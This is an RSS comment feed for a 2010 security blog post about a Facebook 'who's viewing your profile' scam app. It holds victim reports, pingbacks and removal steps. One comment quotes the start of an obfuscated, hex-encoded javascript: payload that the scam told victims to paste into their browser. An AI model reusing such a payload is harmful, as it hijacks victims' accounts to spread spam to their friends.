<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Who&#8217;s checking your Facebook profile? Scammers.</title>
	<atom:link href="http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/feed/" rel="self" type="application/rss+xml" />
	<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/</link>
	<description>Rik Ferguson blogs about current security issues.</description>
	<lastBuildDate>Wed, 28 Jul 2010 17:50:04 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>By: Rick Ranum</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4370</link>
		<dc:creator>Rick Ranum</dc:creator>
		<pubDate>Wed, 19 May 2010 17:50:34 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4370</guid>
		<description>How do you get rid of all these photos now part of my page?</description>
		<content:encoded><![CDATA[<p>How do you get rid of all these photos now part of my page?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Myck</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4341</link>
		<dc:creator>Myck</dc:creator>
		<pubDate>Mon, 03 May 2010 14:49:47 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4341</guid>
		<description>I rarely use any apps on Facebook but somehow managed to get caught up in this. It even puts your photo in the collage, similar to above and then emails people you&#039;re friends with. 
Only found out when out of nowhere, I started getting odd comments and messages from people that the app had mailed. Dont know how many people it mailed or what it said but Im sure someone would have said something if it was bad. It cemented one thing in my mind, Im done with facebook. I tried to contact them about this (&#039;report this&#039; is a joke), eventually you get directed to a form that goes to? --No Idea
and is this answered? --Never
Absolutely sick of it now, have removed all info possible and changed anything remaining (name, address etc). It wouldnt allow me to remove all or close the account, so I just did it gradually.
I know theres no way of completey wiping all data but Im not going to make it easy for them either.
F***FB</description>
		<content:encoded><![CDATA[<p>I rarely use any apps on Facebook but somehow managed to get caught up in this. It even puts your photo in the collage, similar to above and then emails people you&#8217;re friends with.<br />
Only found out when out of nowhere, I started getting odd comments and messages from people that the app had mailed. Dont know how many people it mailed or what it said but Im sure someone would have said something if it was bad. It cemented one thing in my mind, Im done with facebook. I tried to contact them about this (&#8216;report this&#8217; is a joke), eventually you get directed to a form that goes to? &#8211;No Idea<br />
and is this answered? &#8211;Never<br />
Absolutely sick of it now, have removed all info possible and changed anything remaining (name, address etc). It wouldnt allow me to remove all or close the account, so I just did it gradually.<br />
I know theres no way of completey wiping all data but Im not going to make it easy for them either.<br />
F***FB</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Traditional AV Testing: File Under 'Irrelevant' &#124; Business Computing World</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4328</link>
		<dc:creator>Traditional AV Testing: File Under 'Irrelevant' &#124; Business Computing World</dc:creator>
		<pubDate>Tue, 27 Apr 2010 16:21:43 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4328</guid>
		<description>[...] most common is malware downloading other malware via the Internet. Infected web pages, PDFs, social networking sites and cloud-based services represent just some of the significant real or potential threats that [...]</description>
		<content:encoded><![CDATA[<p>[...] most common is malware downloading other malware via the Internet. Infected web pages, PDFs, social networking sites and cloud-based services represent just some of the significant real or potential threats that [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Seeker</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4278</link>
		<dc:creator>Seeker</dc:creator>
		<pubDate>Tue, 13 Apr 2010 08:54:20 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4278</guid>
		<description>Okay, I got this email from a close friend of mine which said &quot;SEE WHO&#039;S VIEWING YOUR PROFILE NOW!..&quot; and all that. I clicked on it (how stupid?) and it brought me to a facebook page which said become a fan. Which I did. Then it said paste the following code into a web browser (how goddamned stupid??).Notihng seemed to happen. Atleast I couldnt figure out anything. 
Anyone out there knows something about this? Should I be worried??


javascript:var _0x7f7d=[&quot;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&quot;,&quot;\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x78\x44&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x3C\x61\x20\x69\x64\x3D\x22\x53\x75\x67\x67\x65\x73\x74\x22\x20\x68\</description>
		<content:encoded><![CDATA[<p>Okay, I got this email from a close friend of mine which said &#8220;SEE WHO&#8217;S VIEWING YOUR PROFILE NOW!..&#8221; and all that. I clicked on it (how stupid?) and it brought me to a facebook page which said become a fan. Which I did. Then it said paste the following code into a web browser (how goddamned stupid??).Notihng seemed to happen. Atleast I couldnt figure out anything.<br />
Anyone out there knows something about this? Should I be worried??</p>
<p>javascript:var _0x7f7d=[&#8220;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&#8221;,&#8221;\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x78\x44&#8243;,&#8221;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&#8243;,&#8221;\x3C\x61\x20\x69\x64\x3D\x22\x53\x75\x67\x67\x65\x73\x74\x22\x20\x68\</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Facebook users warned over stalk-my-profile scam &#124; WorldWar-E™</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4275</link>
		<dc:creator>Facebook users warned over stalk-my-profile scam &#124; WorldWar-E™</dc:creator>
		<pubDate>Thu, 08 Apr 2010 16:54:16 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4275</guid>
		<description>[...] Facebook app earning the scammer advertising revenue in the process,&#8221; Ferguson explains in a blog post containing screenshots illustrating the scam, which resurfaced over the [...]</description>
		<content:encoded><![CDATA[<p>[...] Facebook app earning the scammer advertising revenue in the process,&#8221; Ferguson explains in a blog post containing screenshots illustrating the scam, which resurfaced over the [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Who’s checking your Facebook profile? Scammers. &#124; Business Computing World</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4272</link>
		<dc:creator>Who’s checking your Facebook profile? Scammers. &#124; Business Computing World</dc:creator>
		<pubDate>Wed, 07 Apr 2010 15:17:31 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4272</guid>
		<description>[...] Link to the original site [...]</description>
		<content:encoded><![CDATA[<p>[...] Link to the original site [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Facebook Roundup: FTC, Design Changes, Nestlé, URLs and More</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4233</link>
		<dc:creator>Facebook Roundup: FTC, Design Changes, Nestlé, URLs and More</dc:creator>
		<pubDate>Sat, 20 Mar 2010 01:00:09 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4233</guid>
		<description>[...] “Who’s Looking At Your Profile?” apps that pop up on Facebook pretty frequently. Rik Ferguson reported that this version of spam has at least 25 different copies with names like “peeppeep-pro,” [...]</description>
		<content:encoded><![CDATA[<p>[...] “Who’s Looking At Your Profile?” apps that pop up on Facebook pretty frequently. Rik Ferguson reported that this version of spam has at least 25 different copies with names like “peeppeep-pro,” [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Facebook Blocked Checking-My-Profile Scam :: Facebook Wall</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4231</link>
		<dc:creator>Facebook Blocked Checking-My-Profile Scam :: Facebook Wall</dc:creator>
		<pubDate>Fri, 19 Mar 2010 04:26:37 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4231</guid>
		<description>[...] to Rik Ferguson, a Senior Security Consultant at Trend Micro, he has already identified 25 different copies of the [...]</description>
		<content:encoded><![CDATA[<p>[...] to Rik Ferguson, a Senior Security Consultant at Trend Micro, he has already identified 25 different copies of the [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Episode 90 &#8211; What&#8217;s in your career plan? &#124; InfoSec Daily</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4230</link>
		<dc:creator>Episode 90 &#8211; What&#8217;s in your career plan? &#124; InfoSec Daily</dc:creator>
		<pubDate>Fri, 19 Mar 2010 00:52:47 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4230</guid>
		<description>[...] Facebook app earning the scammer advertising revenue in the process,&#8221; Ferguson explains in a blog post containing screenshots illustrating the scam, which resurfaced over the [...]</description>
		<content:encoded><![CDATA[<p>[...] Facebook app earning the scammer advertising revenue in the process,&#8221; Ferguson explains in a blog post containing screenshots illustrating the scam, which resurfaced over the [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Matt Murphy</title>
		<link>http://countermeasures.trendmicro.eu/whos-checking-your-facebook-profile-scammers/comment-page-1/#comment-4228</link>
		<dc:creator>Matt Murphy</dc:creator>
		<pubDate>Thu, 18 Mar 2010 08:27:30 +0000</pubDate>
		<guid isPermaLink="false">http://countermeasures.trendmicro.eu/?p=1918#comment-4228</guid>
		<description>I first became aware of this app about 10 days ago when I was invited by both my wife and my sister in law. I noticed that it was automatically posting on my facebook wall with comments that I never made. Nothing untoward, just general crap like &quot;&lt;strong&gt;Matt Murphy&lt;/strong&gt; likes this, it work&#039;s!&quot;

I also noticed that it was making a very generic montage of friends, seven of which I knew hadn&#039;t been on facebook for weeks and one that I&#039;d only just sent a friend request to ( and had&#039;t replied yet) so I thought something was a bit sus.

Getting rid of it? easy but frustrating, as the app keeps making new posts while you are deleting the last but this is how I got rid of it.

1- delete the app from applications page (do this prior to deleting posts or it just adds more posts)

2- go to your profile and delete all references to the app

3- go to your photos and delete all montages and the albums it creates.

4- Warn everyone in your friends list and ask them to warn everyone they know.

5 Do a search for the person who originated the app (go to the home page you got it from and go to its wall, the developer will be listed. Then annoy the crap out of them, let your friends know about the developer, get them to do the same, then report them.

Hope this helps, but to ensure that an app is genuine, and actually sent from one of your friends, IM them or send an email for them to confirm. or just dont use apps&gt;</description>
		<content:encoded><![CDATA[<p>I first became aware of this app about 10 days ago when I was invited by both my wife and my sister in law. I noticed that it was automatically posting on my facebook wall with comments that I never made. Nothing untoward, just general crap like &#8220;<strong>Matt Murphy</strong> likes this, it work&#8217;s!&#8221;</p>
<p>I also noticed that it was making a very generic montage of friends, seven of which I knew hadn&#8217;t been on facebook for weeks and one that I&#8217;d only just sent a friend request to ( and had&#8217;t replied yet) so I thought something was a bit sus.</p>
<p>Getting rid of it? easy but frustrating, as the app keeps making new posts while you are deleting the last but this is how I got rid of it.</p>
<p>1- delete the app from applications page (do this prior to deleting posts or it just adds more posts)</p>
<p>2- go to your profile and delete all references to the app</p>
<p>3- go to your photos and delete all montages and the albums it creates.</p>
<p>4- Warn everyone in your friends list and ask them to warn everyone they know.</p>
<p>5 Do a search for the person who originated the app (go to the home page you got it from and go to its wall, the developer will be listed. Then annoy the crap out of them, let your friends know about the developer, get them to do the same, then report them.</p>
<p>Hope this helps, but to ensure that an app is genuine, and actually sent from one of your friends, IM them or send an email for them to confirm. or just dont use apps&gt;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
